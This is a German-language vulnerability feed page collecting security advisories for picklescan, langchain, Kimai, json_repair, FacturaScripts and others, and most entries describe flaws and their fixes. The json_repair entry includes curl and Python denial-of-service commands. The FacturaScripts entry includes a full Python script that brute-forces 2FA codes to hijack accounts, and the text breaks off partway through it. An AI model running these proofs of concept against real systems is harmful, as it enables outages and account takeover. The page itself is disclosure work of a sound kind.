| Risiko / Label | Veröffentlichung | |
|---|---|---|
| Risiko 9.8 / 10 CVE-2025-1889 | gerade eben | |
| picklescan before 0.0.22 only considers standard pickle file extensions in the scope for its vulnerability scan. An attacker could craft a malicious model that uses Pickle and include a malicious pickle file with a non-standard file extension. Because the malicious pickle file inclusion is not considered as part of the scope of picklescan, the file would pass security checks and appear to be safe, when it could instead prove to be problematic. | ||
| Risiko 9.8 / 10 CVE-2024-8309 | gerade eben | |
| A vulnerability in the GraphCypherQAChain class of langchain-ai/langchain-community version 0.2.5 allows for SQL injection through prompt injection. This vulnerability can lead to unauthorized data manipulation, data exfiltration, denial of service (DoS) by deleting all data, breaches in multi-tenant security environments, and data integrity issues. Attackers can create, update, or delete nodes and relationships without proper authorization, extract sensitive data, disrupt services, access data across different tenants, and compromise the integrity of the database. | ||
| Risiko 5 / 10 CVE-2026-52826 | vor 1 Stunde(n) | |
| ### Summary Kimai 2.56.0 contains an authenticated improper authorization vulnerability in the Web rate editing flows for projects, customers, and activities. A user who can edit one authorized parent object can combine that authorized parent ID with the rate ID of a different, unauthorized parent object and thereby modify the unauthorized rate record. This affects `ProjectRate`, `CustomerRate`, and `ActivityRate` editing. The issue is caused by missing parent-child consistency validation and allows cross-project, cross-customer, or cross-activity tampering of billing-related configuration. ### Details The issue affects the following Web routes: - `GET/POST /en/admin/project/{id}/rate/{rate}` - `GET/POST /en/admin/customer/{id}/rate/{rate}` - `GET/POST /en/admin/activity/{id}/rate/{rate}` In both cases, the parent object and the rate object are resolved independently from user-controlled route parameters. The controller only checks whether the current user may edit the parent object referenced by `{id}`, but it does not verify that the child rate object referenced by `{rate}` actually belongs to that same parent. In these controllers, there is no validation such as: - `$rate->getProject() === $project` - `$rate->getCustomer() === $customer` - `$rate->getActivity() === $activity` This missing binding check is especially notable because the API delete endpoints already enforce the expected parent-child relationship. This shows that parent-child consistency is already a recognized invariant in the application design, but the Web edit endpoints fail to enforce it for projects, customers, and activities. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows authenticated users to tamper with billing-related rate configuration outside their authorized project, customer, or activity scope. An attacker can modify rate values belonging to other teams or business domains, which can affect time-based settlement, inherited pricing, cost calculations, budget reporting, revenue reporting, and downstream invoice generation. Because the issue directly persists changes into `kimai2_projects_rates`, `kimai2_customers_rates`, and `kimai2_activities_rates`, it is a real cross-scope integrity vulnerability rather than a UI-only flaw. The attack breaks team-based isolation boundaries for high-value financial configuration. # Solution The rate edit forms for `customers`, `projects` and `activities` now verify that the rate belongs to the parent referenced in the URL and reject the request otherwise. See [https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4](https://www.kimai.org/en/security/ghsa-2xgg-2x8h-8xw4) for more information. | ||
| Risiko 5 / 10 CVE-2026-52825 | vor 1 Stunde(n) | |
| ### Summary Kimai contains an authenticated improper authorization vulnerability in Team-related assignment APIs. A Teamlead who can edit their own team can use backend API endpoints to add users or activities that fall outside their intended visible or manageable scope, even when the frontend correctly hides those targets. This affects both team member assignment and team activity assignment. The issue is caused by treating "may edit this team" as equivalent to "may attach any referenced object to this team", without performing a second authorization check on the target user or activity. ### Details The issue affects at least the following API routes: - `POST /api/teams/{id}/members/{userId}` - `POST /api/teams/{id}/activities/{activityId}` In both cases, the backend checks whether the caller may edit the `Team`, but it does not verify whether the referenced `User` or `Activity` falls inside the caller's allowed management scope. For team member assignment, the frontend form correctly limits the visible user choices. In `src/Form/TeamEditForm.php`, the team edit form uses `UserType`: ```php $builder->add('users', UserType::class, [ 'label' => 'add_user.label', 'help' => 'team.add_user.help', 'mapped' => false, 'multiple' => false, 'expanded' => false, 'required' => false, 'ignore_users' => $team !== null ? $team->getUsers() : [] ]); ``` In `src/Form/Type/UserType.php`, the user selector is built from `UserRepository::getQueryBuilderForFormType()`: ```php $query = new UserFormTypeQuery(); $query->setUser($options['user']); $qb = $this->userRepository->getQueryBuilderForFormType($query); $users = $qb->getQuery()->getResult(); ``` And in `src/Repository/UserRepository.php`, Teamlead-visible candidates are limited to team members from teams they lead: ```php if (null !== $user && $user->isTeamlead()) { $userIds = []; foreach ($user->getTeams() as $team) { if ($team->isTeamlead($user)) { foreach ($team->getUsers() as $teamMember) { $userIds[] = $teamMember->getId(); } } } $userIds = array_unique($userIds); $qb->setParameter('teamMember', $userIds); $or->add($qb->expr()->in('u.id', ':teamMember')); } ``` However, the actual member-assignment API does not reuse that restriction. In `src/API/TeamController.php`: ```php #[IsGranted('edit', 'team')] #[Route(methods: ['POST'], path: '/{id}/members/{userId}', name: 'post_team_member', requirements: ['id' => '\d+', 'userId' => '\d+'])] public function postMemberAction(Team $team, #[MapEntity(mapping: ['userId' => 'id'])] User $member): Response { if ($member->isInTeam($team)) { throw new BadRequestHttpException('User is already member of the team'); } $team->addUser($member); $this->teamService->saveTeam($team); } ``` For activity assignment, the same pattern appears. In `src/API/TeamController.php`: ```php #[IsGranted('edit', 'team')] #[Route(methods: ['POST'], path: '/{id}/activities/{activityId}', name: 'post_team_activity', requirements: ['id' => '\d+', 'activityId' => '\d+'])] public function postActivityAction(Team $team, #[MapEntity(mapping: ['activityId' => 'id'])] Activity $activity, ActivityRepository $activityRepository): Response { if ($team->hasActivity($activity)) { throw new BadRequestHttpException('Team has already access to activity'); } $team->addActivity($activity); $activityRepository->saveActivity($activity); } ``` The `Team` voter only checks whether the current user may edit that team, not whether the referenced object is within the Teamlead's legitimate scope. In `src/Voter/TeamVoter.php`: ```php if (!$user->isAdmin() && !$user->isSuperAdmin() && !$user->isTeamleadOf($subject)) { return false; } return $this->permissionManager->hasRolePermission($user, $attribute . '_team'); ``` For activities, this is especially risky because later authorization logic may trust the team assignment that was just written. In `src/Security/RolePermissionManager.php`: ```php public function checkTeamAccessActivity(Activity $activity, User $user): bool { if ($activity->getProject() !== null && !$this->checkTeamAccessProject($activity->getProject(), $user)) { return false; } return $this->checkTeamAccess($activity->getTeams(), $user); } ``` So once a Teamlead is able to write a new team/activity relation, later access-control decisions may treat that relation as legitimate input. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows a Teamlead to use their own editable team as an expansion container for objects that should remain outside their authorized scope. In the validated member-assignment case, the attacker can forcibly add users who are not supposed to be manageable through that Teamlead's visible range. In the activity-assignment case, the attacker can attach activities that are outside the intended authorization boundary of the team. Once such relations are written, downstream authorization, visibility, and business workflows may start treating them as legitimate. This can affect user scoping, team-based access control, customer/project/activity visibility, time-entry behavior, statistics, and reporting. The issue therefore breaks the trustworthiness of `Team` as a security isolation container. # Solution Several new permission checks were added to `src/API/TeamController.php` - - Check if user can be accessed with `#[IsGranted('access_user', 'member')]` before adding as new team member - Check if customer can be seen with `#[IsGranted('view', 'customer')]` before a team is granted access to a customer - Check if project can be seen with `#[IsGranted('view', 'project')]` before a team is granted access to a project - Check if activity can be seen with `#[IsGranted('view', 'activity')]` before a team is granted access to an activity See [https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg](https://www.kimai.org/en/security/ghsa-xv4r-4885-gwpg) for more information. | ||
| Risiko 9.5 / 10 CVE-2026-52824 | vor 1 Stunde(n) | |
| ### Summary The official Kimai Docker image ships with `APP_SECRET=change_this_to_something_unique` as the default environment variable. The Docker entrypoint does not override or validate this value. Any Kimai instance deployed using the Docker image without explicitly setting `APP_SECRET` runs with a publicly-known Symfony `kernel.secret`, enabling an unauthenticated attacker to forge HMAC-signed cookies and login links to take over any account including super_admin. ### Details `Dockerfile:263` sets `ENV APP_SECRET=change_this_to_something_unique`. This value is consumed by `config/packages/framework.yaml:7` as `kernel.secret`, which Symfony uses to HMAC-sign: - The `KIMAI_REMEMBER` remember-me cookie - LoginLink signatures - Password reset URLs - CSRF tokens The `.docker/entrypoint.sh` does not check for or replace the default sentinel value. The bare-metal `.env.dist:38` ships the same default. No startup-time guard exists anywhere in the codebase that refuses to start when `APP_SECRET` equals the sentinel. User IDs are sequential integers starting from 1. The first super_admin account is almost always `id=1`. User IDs are visible in some URLs and API responses. *A PoC was provided, but removed for security reasons.* ### Impact Any Kimai instance deployed via the official Docker image without overriding `APP_SECRET` can be compromised from the internet. An unauthenticated attacker who can reach the Kimai URL can forge authentication tokens and log in as any user if: - a username is known AND - the correct account ID for this username is guessed AND - the account has no active 2FA (two factor) authentication ## Solution - The entrypoint.sh file is updated and now contains a script that generates a random `APP_SECRET` via `bin2hex(random_bytes(32))` which will be stored in `/opt/kimai/var/data/.appsecret` - The entrypoint.sh will create the file `/opt/kimai/.env.local` containing the `APP_SECRET`, either fetched from the Docker Environment or from the newly created secret file - The documentation was updated to highlight the importance of using a random secret for `APP_SECRET` - The Dockerfile removed default `APP_SECRET=change_this_to_something_unique` - Login links now contain more entropy (see GHSA-m492-gv72-xvxj) - so even without all previous changes, attackers won't be able to generate Login links even for installations that have a hard-coded `APP_SECRET=change_this_to_something_unique` See [https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58](https://www.kimai.org/en/security/ghsa-jr9p-4h4j-6c58) for more information. | ||
| Risiko 5 / 10 CVE-2026-52823 | vor 1 Stunde(n) | |
| ### Summary Kimai 2.56.0 contains authenticated cross-site request forgery issues in its timesheet state-changing API endpoints. The application reuses the browser's existing session for `/api/*` requests, and both the `stop` and `restart` operations are exposed through `GET` and `PATCH` routes that directly modify business state. As a result, an attacker can trick a logged-in user into visiting a malicious page and cause unauthorized timesheet actions without the victim's consent. Depending on the endpoint, this can stop a running timesheet or create and start a new one from historical data. ### Details The issue affects at least the following API routes: - `GET /api/timesheets/{id}/stop` - `GET /api/timesheets/{id}/restart` Both routes are non-read-only operations but are still exposed as `GET`. In `src/API/TimesheetController.php`. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker to trigger unauthorized business-state changes as a logged-in victim. In the validated `stop` case, a running timesheet can be stopped, affecting time tracking integrity and potentially availability of ongoing work tracking. In the `restart` case, a historical timesheet can be restarted and a new record can be created without the victim's knowledge. These actions can corrupt time records, distort billing and reporting, interfere with approvals or audits, and create persistent database-side side effects. Because exploitation requires only that the victim visit a malicious page while authenticated, the attack barrier is low. # Solution The `GET` routes were removed, both `stop` and `restart` are only available via `PATCH`. See [https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h](https://www.kimai.org/en/security/ghsa-r8vr-m544-qh4h) for more information. | ||
| Risiko 5 / 10 CVE-2026-52822 | vor 1 Stunde(n) | |
| ### Summary Kimai 2.56.0 contains an authenticated authorization bypass in the timesheet `restart` and `duplicate` workflows. After a user loses access to a project, the user can still derive a new timesheet from one of their historical entries and create a new record under that now-unauthorized project and activity combination. This is a permission revocation bypass with persistent write impact. The issue affects both `restart` and `duplicate`, which trust ownership of an old timesheet more than the user's current access to the underlying project, activity, and customer. ### Details The issue affects the following operations: - `PATCH /api/timesheets/{id}/restart` - `PATCH /api/timesheets/{id}/duplicate` The root cause is that authorization gives too much weight to the fact that the original timesheet belongs to the current user. In `src/Voter/TimesheetVoter.php`, the `*_own_timesheet` branch is evaluated before team-based access checks. The restart/duplicate capability check also verifies only object visibility, not whether the current user still has team-based access to the referenced objects. In `src/API/TimesheetController.php`, the restart flow copies the historical `project` and `activity` into a new candidate timesheet. The duplicate flow similarly clones the historical record and saves it. In `src/Timesheet/TimesheetService.php`, creation of a new running entry still relies on `isGranted('start', $timesheet)`. For historical entries that belong to the current user, this logic can still succeed through the `*_own_timesheet` branch even after project access has been revoked. As a result, normal creation pages correctly stop offering the revoked project, but `restart` and `duplicate` can still create new records under it. The same weakness also affects the Web duplicate flow because the UI path ultimately calls the same save logic in `src/Controller/TimesheetAbstractController.php`: *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows a user to keep writing new time entries into a project after project access has been revoked. That undermines administrative access-control changes and can pollute project time tracking, budget calculations, statistics, reports, and invoicing workflows. Because both `restart` and `duplicate` can reuse historical project/activity bindings, old timesheet records effectively become reusable capability tokens that survive later access-control changes. This is not a UI artifact or a caching problem: new database rows are persisted after revocation. # Solution The metoid `TimesheetVoter::canStart()` now checks team access for project and activity. This verification is used for new timesheets and also for the `duplication` and `restart` workflows. See [https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh](https://www.kimai.org/en/security/ghsa-c6w6-57jj-62vh) for more information. | ||
| Risiko 5 / 10 CVE-2026-52821 | vor 1 Stunde(n) | |
| ### Summary Kimai 2.56.0 contains an authenticated improper authorization vulnerability in the preset-project activity creation flow. A user with the generic `create_activity` permission, but without access to a target project, can still create a new `Activity` under that unauthorized project by visiting the preset project creation route directly. This is a persistent cross-project business-object creation issue. The attacker does not need permission to view or edit the target project and only needs to know a valid `project.id`. ### Details The issue affects the activity creation entry point that accepts a preset project identifier: - `GET/POST /en/admin/activity/create/{project}` - `GET/POST /en/admin/project/create/{customer}` In `src/Controller/ActivityController.php`, the controller checks only the global capability to create activities and does not verify whether the current user is allowed to create an activity under the supplied `Project` object. The form and repository path also preserve the preset project instead of rejecting it when the user lacks access. Because the preset project is merged into the candidate set, the final save operation can persist a new `Activity` under a project that is outside the attacker's authorized project scope. The same logic applies to the `src/Controller/ProjectController.php`. *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an authenticated user to inject new child business objects into projects outside their authorized scope. An attacker can pollute another team's project configuration, influence later timesheet selection and rate inheritance, and create conditions for downstream business abuse if other users start using the injected activity. # Solution - In `ActivityController` we now validate if the project can be edited with `[IsGranted('edit', 'project')]` - In `ProjectController` we now validate if if the customer can be edited with `[IsGranted('edit', 'customer')]` See https://www.kimai.org/en/security/ghsa-3q6q-26vg-v97x | ||
| Risiko 5 / 10 CVE-2026-52820 | vor 1 Stunde(n) | |
| ## Summary
The Timesheet API `PATCH /api/timesheets/{id}` and `POST /api/timesheets` endpoints accept a user-supplied `project` ID and resolve it through a Symfony `EntityType` whose `query_builder` allows the submitted ID to satisfy the access predicate via an unconditional OR branch. As a result, any authenticated user can re-assign their own timesheet to any project in the database — including projects that belong to teams or customers they have no membership in and cannot otherwise see. The user can then read serialized project/customer details via `GET /api/timesheets/{id}?full=true`, leaking metadata (name, currency, customer hierarchy) that would otherwise be filtered out by the team ACL.
## Details
### Entry point — only ownership is checked in `src/API/TimesheetController.php:317-355`
```php
#[IsGranted('edit', 'timesheet')]
#[Route(methods: ['PATCH'], path: '/{id}', name: 'patch_timesheet', requirements: ['id' => '\d+'])]
public function patchAction(Request $request, Timesheet $timesheet): Response
{
...
$form = $this->createForm(TimesheetApiEditForm::class, $timesheet, [...]);
$form->setData($timesheet);
$form->submit($request->request->all(), false);
if (false === $form->isValid()) { ... }
$this->service->saveTimesheet($timesheet);
...
}
```
`src/Voter/TimesheetVoter.php:134-142`:
```php
if ($subject->getUser()?->getId() === $user->getId()) {
return $this->permissionManager->hasRolePermission($user, $permission . '_own_timesheet');
}
if (!$this->permissionManager->checkTeamAccessTimesheet($subject, $user)) {
return false;
}
```
For an own-timesheet, only `edit_own_timesheet` is required. The voter does **not** look at the *new* project being submitted; it only validates the existing record's ownership.
### Form replays user-controlled project ID into the access query
`src/Form/TimesheetEditForm.php:60-71`:
```php
$isNew = true;
if (isset($options['data']) && $options['data'] instanceof Timesheet) {
...
if (null !== $entry->getId()) {
$isNew = false;
}
...
}
$this->addProject($builder, $isNew, $project, $customer);
```
`src/Form/FormTrait.php:59-100`:
```php
$builder->addEventListener(
FormEvents::PRE_SUBMIT,
function (FormEvent $event) use ($builder, $project, $customer, $isNew, $options): void {
$data = $event->getData();
$customer = \array_key_exists('customer', $data) && $data['customer'] !== '' ? $data['customer'] : null;
$project = \array_key_exists('project', $data) && $data['project'] !== '' ? $data['project'] : $project;
$event->getForm()->add('project', ProjectType::class, array_merge($options, [
'group_by' => null,
'query_builder' => function (ProjectRepository $repo) use ($builder, $project, $customer, $isNew) {
$project = \is_string($project) ? (int) $project : $project;
...
if ($isNew && \is_int($project)) {
$project = $repo->find($project);
if ($project !== null) {
if (!$project->getCustomer()->isVisible()) { ... $project = null; }
elseif (!$project->isVisible()) { $project = null; }
}
}
...
$query = new ProjectFormTypeQuery($project, $customer);
$query->setUser($builder->getOption('user'));
$query->setWithCustomer(true);
return $repo->getQueryBuilderForFormType($query);
},
]));
}
);
```
Two problems compound:
1. The visibility re-check on line 73 is gated on `$isNew`. For PATCH, `$isNew = false`, so the closure passes the attacker-supplied ID straight through.
2. Even when `$isNew = true` (POST), the re-check only validates `isVisible()` — it does not validate team membership.
### The query-builder unconditionally accepts the submitted ID
`src/Repository/ProjectRepository.php:150-208`:
```php
public function getQueryBuilderForFormType(ProjectFormTypeQuery $query): QueryBuilder
{
...
$mainQuery = $qb->expr()->andX();
$mainQuery->add($qb->expr()->eq('p.visible', ':visible'));
$mainQuery->add($qb->expr()->eq('c.visible', ':customer_visible'));
if (!$query->isIgnoreDate()) { ... }
if ($query->hasCustomers()) { ... }
$permissions = $this->getPermissionCriteria($qb, $query->getUser(), $query->getTeams());
if ($permissions->count() > 0) {
$mainQuery->add($permissions);
}
$outerQuery = $qb->expr()->orX();
if ($query->hasProjects()) {
$outerQuery->add($qb->expr()->in('p.id', ':project')); // <-- unconditional
$qb->setParameter('project', $query->getProjects());
}
...
$outerQuery->add($mainQuery);
$qb->andWhere($outerQuery);
return $qb;
}
```
The final WHERE clause is roughly:
```
WHERE (p.id IN (:project)) OR (p.visible AND c.visible AND |
||
| Risiko 5 / 10 CVE-2026-52819 | vor 1 Stunde(n) | |
| ## Summary
`GET /api/timesheets?user= |
||
| Risiko 5 / 10 CVE-2026-49992 | vor 1 Stunde(n) | |
| ### Summary Kimai 2.56.0 contains authenticated cross-site request forgery issues in its default team creation shortcuts for projects, customers, and activities. These endpoints are exposed through `GET` routes and directly create or reuse a `Team`, add the current user as teamlead, and bind the target object to that team. As a result, an attacker can trick a logged-in user with the required permissions into visiting a malicious page and cause unauthorized changes to team, teamlead, and object-binding relationships. This is a real authorization-structure modification issue rather than a harmless UI shortcut. ### Details The issue affects at least the following routes: - `GET /en/admin/project/{id}/create_team` - `GET /en/admin/customer/{id}/create_team` - `GET /en/admin/activity/{id}/create_team` Each of these routes is a `GET` endpoint, yet each performs persistent writes that alter authorization structure: - create or reuse a `Team` - add the current user as `teamlead` - bind the target `Project`, `Customer`, or `Activity` to that team *A PoC was provided, but removed for security reasons.* ### Impact This vulnerability allows an attacker to remotely alter permission topology while the victim is logged in. A successful exploit can create or reuse a team, assign the victim as its teamlead, and bind a project, customer, or activity to that team without intentional user action. The pre-requisite is, that the logged-in user already has access to manage permissions of the object in question. Because these routes modify authorization structure rather than a simple personal preference, the business impact can extend into visibility rules, assignment scope, team-based access control, reporting, and later privilege-expansion chains. This makes the issue materially more serious than a low-value cosmetic CSRF. ## Solution - The routes have been moved to API `POST` endpoints See https://www.kimai.org/en/security/ghsa-pgcc-vfmc-7cw5 | ||
| Risiko 5 / 10 GHSA-8f6j-263m-g72x | vor 1 Stunde(n) | |
| ### Summary `SignedDataVerifier` attempts to perform online revocation checking when `enable_online_checks=True`, but its OCSP validation logic accepts stale `GOOD` responses as valid indefinitely. In `appstoreserverlibrary/signed_data_verifier.py`, `_ChainVerifier.check_ocsp_status()` verifies the OCSP response signature and CertID match, but never validates the freshness window carried by `producedAt`, `thisUpdate`, or `nextUpdate`. As a result, a previously valid signed OCSP `GOOD` response can be replayed after it is expired, and the library will still treat the certificate as good. If an App Store signing certificate or intermediate is ever revoked, applications using this library with online checks enabled can continue accepting JWS objects signed with the revoked key as long as a stale signed OCSP response is replayed. | ||
| Risiko 7.5 / 10 GHSA-xf7x-x43h-rpqh | vor 1 Stunde(n) | |
| ## Circular JSON Schema `$ref` causes unbounded CPU DoS in `json_repair`
### Summary
`SchemaRepairer.resolve_schema()` in `json_repair` follows JSON Schema `$ref` pointers in an unbounded `while` loop without any cycle detection. An attacker who can supply a schema containing a self-referencing `$ref` (e.g., via the demo Flask API or any application that passes untrusted input to `loads(..., schema=...)`), can cause a worker process to spin indefinitely on CPU, resulting in a complete denial of service. No authentication is required against the public demo API. The vulnerability is confirmed reproducible at CVSS 7.5 (High).
### Details
`SchemaRepairer.resolve_schema()` at `src/json_repair/schema_repair.py:184–190` resolves `$ref` chains using a plain `while` loop:
```python
# src/json_repair/schema_repair.py:184-190
schema_dict = cast("dict[str, Any]", schema)
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
```
`_resolve_ref()` at `src/json_repair/schema_repair.py:654–665` always resolves references relative to `self.root_schema`, which is initialised from the caller-supplied schema (`src/json_repair/schema_repair.py:130`). When the schema contains a circular reference such as:
```json
{"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
```
`_resolve_ref()` returns the same `dict` object on every iteration, so `"$ref" in schema_dict` is always `True` and the loop never terminates.
The vulnerable sink is reachable without authentication through the demo Flask API:
```python
# docs/app.py:14, 21-36
data = request.get_json()
schema = data.get("schema")
if schema is not None and not isinstance(schema, (dict, bool)):
raise ValueError("schema must be a JSON object or boolean.")
...
if schema is not None:
loads_kwargs["schema"] = schema
parsed_json = loads(malformed_json, **loads_kwargs)
```
The only guard is a top-level `isinstance(dict, bool)` check; there is no `$ref` depth limit, no visited-set, and no timeout enforced by the library. The full data-flow path is:
1. `docs/app.py:14` — `request.get_json()` reads the attacker-controlled HTTP body.
2. `docs/app.py:21–23` — `schema` is extracted; only `dict`/`bool` type check applied.
3. `docs/app.py:33–36` — schema is forwarded verbatim to `loads()`.
4. `src/json_repair/json_repair.py:145–148` — `schema_from_input(schema)` instantiates `SchemaRepairer`.
5. `src/json_repair/json_repair.py:160` — `repairer.is_valid()` calls `resolve_schema()`, triggering the infinite loop.
6. `src/json_repair/schema_repair.py:184–190` — unbounded `while "$ref" in schema_dict` loop (sink).
7. `src/json_repair/schema_repair.py:654–665` — `_resolve_ref()` returns the same object on every call.
**Recommended fix:**
```diff
--- a/src/json_repair/schema_repair.py
+++ b/src/json_repair/schema_repair.py
def resolve_schema(self, schema: object | None) -> dict[str, Any] | bool:
...
- schema_dict = cast("dict[str, Any]", schema)
+ schema_dict = cast("dict[str, Any]", schema)
+ seen_schema_ids: set[int] = set()
while "$ref" in schema_dict:
ref = schema_dict["$ref"]
+ if not isinstance(ref, str):
+ raise SchemaDefinitionError("$ref must be a string.")
+ schema_id = id(schema_dict)
+ if schema_id in seen_schema_ids:
+ raise SchemaDefinitionError(f"Circular $ref detected: {ref}")
+ seen_schema_ids.add(schema_id)
resolved = self._resolve_ref(ref)
if isinstance(resolved, bool):
return resolved
schema_dict = resolved
return schema_dict
```
### PoC
**Environment setup:**
```bash
# Clone the affected version
git clone https://github.com/mangiucugna/json_repair.git
git -C json_repair checkout 0015c74c01bdafe4bb7435780657501741c2a5f7
# Install dependencies
pip install flask flask-cors jsonschema pydantic
pip install -e json_repair/
# Start the demo API
PYTHONPATH=json_repair/src flask --app json_repair/docs/app run --host=127.0.0.1 --port=5005
```
**Alternatively, use the provided Docker image:**
```dockerfile
FROM python:3.11-slim
WORKDIR /app
COPY repo/ /app/repo/
RUN pip install --no-cache-dir flask flask-cors jsonschema pydantic && \
pip install --no-cache-dir -e /app/repo/
COPY vuln-001/poc.py /app/poc.py
CMD ["python3", "/app/poc.py"]
```
```bash
docker build -t vuln001-json-repair -f vuln-001/Dockerfile .
docker run --rm vuln001-json-repair
```
**HTTP attack request (demo API):**
```bash
timeout 5 curl -sS -X POST http://127.0.0.1:5005/api/repair-json \
-H 'Content-Type: application/json' \
--data '{"malformedJSON":"{}","schema":{"$ref":"#/definitions/a","definitions":{"a":{"$ref":"#/definitions/a"}}}}'
# Expected: no response before timeout; curl exits with code 124
```
**Direct library attack:**
```bash
timeout 5 python3 - <<'PY'
from json_repair import loads
schema = {"$ref": "#/definitions/a", "definitions": {"a": {"$ref": "#/definitions/a"}}}
print(loads("{}", schema=schema))
PY
# Expected: process killed after 5 s; exit code 124
```
**Observed results (from Docker-based dynamic reproduction):**
- Baseline (valid schema `{"type":"object","properties":{"name":{"type":"string"}}}`): completed in **0.261 s**.
- Attack (circular `$ref` schema): **timed out after 5.01 s** — process killed; infinite loop confirmed.
### Impact
This is an unauthenticated **denial-of-service** vulnerability. Any single HTTP request carrying a circular `$ref` schema hangs the Flask worker process indefinitely, making the service unavailable to all other users until the process is killed or the server is restarted. Because the public demo API (`docs/app.py`) accepts the `schema` field from the request body without authentication and passes it directly to `loads()`, remote attackers can exploit this with a trivial one-liner.
Beyond the demo API, any application that exposes `json_repair.loads(..., schema= |
||
| Risiko 9.5 / 10 CVE-2026-47677 | vor 2 Stunde(n) | |
| # Authentication bypass in FacturaScripts: `/login?action=two-factor-validation` accepts brute-forceable TOTP without password or CSRF protection ## Summary `Core/Controller/Login.php::twoFactorValidationAction()` accepts an unauthenticated POST containing only `fsNick` and `fsTwoFactorCode`. If the TOTP value matches, the server issues a full `fsNick` + `fsLogkey` session cookie pair. The handler: 1. **Does not verify the password** — the user is not required to have just completed `loginAction`. 2. **Does not call `validateFormToken()`** — no CSRF token is required (every other action handler in the same file does call it). 3. **Does not call `userHasManyIncidents()` before processing** — `loginAction` and `changePasswordAction` both check this guard *before* doing work; the 2FA handler only writes to the incident list *after* a failure, and the incident list is consulted by `loginAction` / `changePasswordAction` but not by the 2FA handler itself. The endpoint therefore has **no rate-limiting at all**. Combined with `TwoFactorManager::VERIFICATION_WINDOW = 8` (google2fa default is 1), 17 distinct six-digit codes are valid simultaneously and each remains valid for ~4 minutes. The expected number of guesses to land a valid code is > N ≈ ln(0.5) / ln(1 − 17 / 10⁶) ≈ **40 800** attempts (50% success) On a default LAMP install a single-laptop attacker sustains ~400 RPS from one source IP — a few minutes per account. The vulnerability gives **complete account takeover** of any 2FA-enabled user to any unauthenticated network attacker who knows the target's nick. Admin nicks are typically public information (`admin`, the company name, the person's initials). ## Severity **CVSS 4.0 base score: 9.3 — Critical** Vector: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N` | Metric | Value | Rationale | |---|---|---| | Attack Vector (AV) | Network (N) | One HTTP POST over the public internet. | | Attack Complexity (AC) | Low (L) | No timing, configuration, or environmental conditions. | | Attack Requirements (AT) | None (N) | The vulnerable code path runs on every default install; the bug applies to every 2FA-enabled user. | | Privileges Required (PR) | None (N) | The endpoint accepts the attack unauthenticated. | | User Interaction (UI) | None (N) | No user action; the victim only has to have 2FA enabled. | | Vulnerable Confidentiality (VC) | High (H) | Full read access as the hijacked user (admin → entire database). | | Vulnerable Integrity (VI) | High (H) | Full write access as the hijacked user. | | Vulnerable Availability (VA) | Low (L) | Side effect: failed 2FA attempts accumulate in the per-user incident counter, which then blocks the legitimate user from logging in via `loginAction` for 10 minutes (`MAX_INCIDENT_COUNT = 6`, `INCIDENT_EXPIRATION_TIME = 600`). Targeted account-lockout DoS against any nick. | | Subsequent (SC / SI / SA) | None | No second-system pivot from the bug itself. | Threat metrics: - Exploit Maturity (E): **Attacked (A)** — public PoC included below, runs out of the box. ## Affected component - File: `Core/Controller/Login.php` - Method: `twoFactorValidationAction()` (lines 317–328 in the repository at commit `7392b489b`, master branch as of 2026-05-13). - Related: `Core/Lib/TwoFactorManager.php:30` (`VERIFICATION_WINDOW = 8`). Vulnerable code: ```php protected function twoFactorValidationAction(Request $request): void { $userName = $request->input('fsNick'); $user = new User(); if (!$user->load($userName) || !$user->verifyTwoFactorCode($request->input('fsTwoFactorCode'))) { Tools::log()->warning('two-factor-code-invalid'); $this->saveIncident(Session::getClientIp(), $userName); return; } $this->updateUserAndRedirect($user, Session::getClientIp(), $request); } ``` Compare with `loginAction` in the same file, which calls `validateFormToken()` (line 275) and `userHasManyIncidents()` (line 287) *before* doing any work. The 2FA handler does neither. ## Proof of concept ### 1. Brute force when only the victim's nick is known This requires **no prior knowledge** beyond the target's nick. Because the 2FA endpoint has no rate-limiting and `VERIFICATION_WINDOW=8` keeps ~17 codes valid at once, random guessing finds a valid code in seconds to minutes from a single IP. `poc_2fa_brute.py`: ```python #!/usr/bin/env python3 """ PoC: brute-force the 2FA endpoint. Required: pip install requests """ import os, sys, time, random, threading, requests BASE = os.environ.get("BASE", "http://localhost:9999") NICK = os.environ.get("NICK", "admin") THREADS = int(os.environ.get("THREADS", "32")) MAX_TRIES = int(os.environ.get("MAX_TRIES", "200000")) hit = threading.Event() attempt_count = [0] lock = threading.Lock() start = time.time() result = {} def worker(tid: int) -> None: s = requests.Session() while not hit.is_set(): with lock: n = attempt_count[0] if n >= MAX_TRIES: return attempt_count[0] += 1 code = f"{random.randint(0, 999999):06d}" try: r = s.post(f"{BASE}/login", data={"action": "two-factor-validation", "fsNick": NICK, "fsTwoFactorCode": code}, allow_redirects=False, timeout=5) except requests.RequestException: continue sc = r.headers.get("Set-Cookie", "") if r.status_code == 302 and "fsLogkey" in sc: with lock: if hit.is_set(): return hit.set() result["code"] = code result["n"] = n result["cookies"] = {c.name: c.value for c in r.cookies} return def main() -> int: print(f"[*] target={BASE} nick={NICK} threads={THREADS}") threads = [threading.Thread(target=worker, args=(i,), daemon=True) for i in range(THREADS)] for t in threads: t.start() while not hit.is_set() and attempt_count[0] < MAX_TRIES: time.sleep(2) elapsed = time.time() - start print(f" [{elapsed:5.1f}s] attempts={attempt_count[0]:>7d} " f"rps={attempt_count[0]/max(elapsed,1):.0f}", flush=True) for t in threads: t.join() elapsed = time.time() - start if hit.is_set(): print(f"\n[+] FOUND code={result['code']} after {result['n']:,} " f"attempts in {elapsed:.1f}s") cookie_hdr = "; ".join(f"{k}={v}" for k, v in result["cookies"].items()) print(f"[+] Cookies: {cookie_hdr}") print(f"\n curl --cookie '{cookie_hdr}' {BASE}/ListUser") return 0 print(f"[-] {attempt_count[0]:,} attempts in 